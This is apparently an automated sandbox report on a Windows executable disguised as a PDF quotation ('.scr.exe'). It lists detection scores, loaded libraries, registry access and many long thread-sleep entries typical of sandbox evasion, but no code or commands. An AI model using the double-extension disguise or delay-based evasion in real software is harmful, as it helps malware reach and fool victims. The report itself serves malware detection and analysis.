Classification label: mal56.winEXE@1/0@3/2

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Mutant created: NULL

Source: QUOTATION_OCTQTRA071244PDF.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: QUOTATION_OCTQTRA071244PDF.scr.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: QUOTATION_OCTQTRA071244PDF.scr.exe	ReversingLabs: Detection: 23%
Source: QUOTATION_OCTQTRA071244PDF.scr.exe	Virustotal: Detection: 36%

Source: QUOTATION_OCTQTRA071244PDF.scr.exe

String found in binary or memory: SingularUMatrix5SingularUMatrixWithElement5SingularVectorsNotComputedMSpecialCasePlannedButNotImplementedYet-StopCriterionDuplicate)StopCriterionMissing#StringNullOrEmpty

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: QUOTATION_OCTQTRA071244PDF.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: QUOTATION_OCTQTRA071244PDF.scr.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: QUOTATION_OCTQTRA071244PDF.scr.exe

Static file information: File size 1929216 > 1048576

Source: QUOTATION_OCTQTRA071244PDF.scr.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x17c000

Source: QUOTATION_OCTQTRA071244PDF.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Code function: 0_2_00007FFD9B8000AD pushad ; iretd

0_2_00007FFD9B8000C1

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Memory allocated: 2105CDB0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Memory allocated: 21076790000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599405	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599183	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599014	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596376	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595438	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 593993	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Window / User API: threadDelayed 7920			Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Window / User API: threadDelayed 1909			Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -35048813740048126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7556	Thread sleep count: 7920 > 30	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7556	Thread sleep count: 1909 > 30	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -599516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -599405s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -599297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -599183s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -599014s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -598688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -598563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -598438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -598313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -598188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -597969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -597844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -596376s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -596250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -596141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -596016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -595906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -595797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -595688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -595563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -595438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -595328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -595219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -595094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe TID: 7540	Thread sleep time: -593993s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599405	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599183	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 599014	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598906	Jump to behavior
